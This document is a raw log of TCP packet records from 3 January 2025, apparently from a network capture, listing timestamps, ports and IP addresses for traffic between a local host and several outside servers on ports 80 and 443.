Jan 3, 2025 15:21:35.181896925 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.181925058 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:37.328979015 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:37.329025984 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:37.329096079 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:37.329698086 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:37.329713106 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.005444050 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.006228924 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.006246090 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.007469893 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.007559061 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.008877993 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.008946896 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.009385109 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.009408951 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.009566069 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.009638071 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.009675980 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.009803057 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.009840012 CET	443	49921	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.009876966 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.009932995 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.009941101 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.009973049 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.010535955 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.010550022 CET	443	49921	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.010576010 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.010592937 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.010781050 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.010797024 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.219116926 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.305897951 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.309243917 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.309499979 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.311645031 CET	49914	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.311665058 CET	443	49914	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.636929035 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.637392998 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.637404919 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.638464928 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.638534069 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.638968945 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.639009953 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.639017105 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.639031887 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.648983002 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.649600029 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.649631023 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.650701046 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.650763988 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.651091099 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.651160002 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.651257992 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.651266098 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.665709972 CET	443	49921	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.668982983 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.669018030 CET	443	49921	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.670206070 CET	443	49921	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.670273066 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.670658112 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.670726061 CET	443	49921	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.719049931 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.719058990 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.719079018 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.797179937 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.797202110 CET	443	49921	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.906102896 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.942955017 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.943752050 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.943861008 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.949381113 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.949433088 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.949475050 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.949579954 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.949601889 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.949645042 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.949786901 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.955641985 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.955697060 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.955780029 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.955790997 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.955897093 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.961983919 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.962029934 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.962133884 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:38.962142944 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:38.984293938 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.015508890 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.035217047 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.035912037 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.036009073 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.036019087 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.038285971 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.038346052 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.038353920 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.044610023 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.045557022 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.045564890 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.050790071 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.054733038 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.054743052 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.057101011 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.058690071 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.058697939 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.063333035 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.065931082 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.065939903 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.069329977 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.069833994 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.069852114 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.075241089 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.075299978 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.075308084 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.081211090 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.081446886 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.081454992 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.085407972 CET	49919	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.085416079 CET	443	49919	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.087202072 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.087568998 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.087577105 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.093158007 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.093302011 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.093310118 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.121978045 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.122018099 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.122051954 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.122076988 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.122087002 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.122139931 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.125062943 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.125099897 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.125133038 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.125170946 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.125185013 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.125189066 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.130021095 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.130100012 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.130108118 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.135982990 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.136043072 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.136054993 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.142060041 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.142163992 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.142172098 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.147711039 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.147777081 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.147785902 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.153676987 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.154695988 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.154704094 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.158787012 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.160248995 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.160255909 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.164124966 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.164813042 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.164820910 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.169249058 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.170234919 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.170252085 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.174506903 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.174555063 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.174563885 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.179409027 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.179497004 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.179506063 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.184000015 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.186714888 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.186723948 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.188714981 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.188779116 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.188787937 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.192517042 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.194695950 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.194705009 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.196660995 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.196743011 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.196752071 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.200692892 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.200766087 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.200773954 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.204459906 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.204507113 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.204519033 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.204526901 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.204576015 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.208254099 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.212004900 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.212150097 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.212213993 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.212222099 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.214720011 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.216018915 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.218386889 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.218421936 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.218478918 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.218487978 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.218523979 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.220658064 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.222971916 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.223007917 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.223035097 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.223046064 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.223365068 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.225235939 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.227610111 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.227632999 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.227683067 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.227694035 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.227739096 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.229856014 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.232460022 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.232496977 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.232506990 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.232515097 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.232752085 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.234507084 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.236916065 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.236951113 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.236999989 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.237009048 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.237057924 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.237063885 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.237123013 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.237170935 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.242417097 CET	49920	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:39.242433071 CET	443	49920	216.58.206.68	192.168.2.6
Jan 3, 2025 15:21:39.741811991 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:39.741873980 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:40.509789944 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:40.509825945 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:40.509895086 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:40.510420084 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:40.510432959 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:40.646414995 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:40.646457911 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:40.646538019 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:40.646754980 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:40.646765947 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.306310892 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.306937933 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.306961060 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.307995081 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.308068037 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.309698105 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.309768915 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.309927940 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.311837912 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.311939001 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:41.316894054 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:41.316905022 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.317197084 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.318929911 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:41.319078922 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:41.319083929 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.319225073 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:41.355333090 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.359344006 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.497513056 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.497842073 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.497936964 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:41.501949072 CET	49944	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:41.501975060 CET	443	49944	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:41.517210960 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.517225027 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.575257063 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.575299025 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.575340986 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.575756073 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.575768948 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.581753016 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.581784964 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.581995010 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.582084894 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.582094908 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.587575912 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.587673903 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.587682009 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.593852997 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.593993902 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.594002008 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.665766001 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.665802956 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.666136980 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.666276932 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.666304111 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.670828104 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.674731970 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.674756050 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.677254915 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.678713083 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.678719997 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.683386087 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.683474064 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.683482885 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.689796925 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.690691948 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.690701962 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.696036100 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.698693991 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.698702097 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.702008009 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.702109098 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.702116966 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.707808971 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.710916996 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.710925102 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.713797092 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.714135885 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.714145899 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.719573975 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.722681046 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.722688913 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.725481033 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.726763964 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.726771116 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.756011963 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.756098032 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.756167889 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.756278038 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.756294966 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.756736994 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.757261992 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.757297039 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.757364035 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.757364035 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.757376909 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.762623072 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.766704082 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.766725063 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.768368959 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.768414974 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.768475056 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.768496037 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.770705938 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.774178028 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.780288935 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.780339003 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.782726049 CET	49947	443	192.168.2.6	172.217.23.110
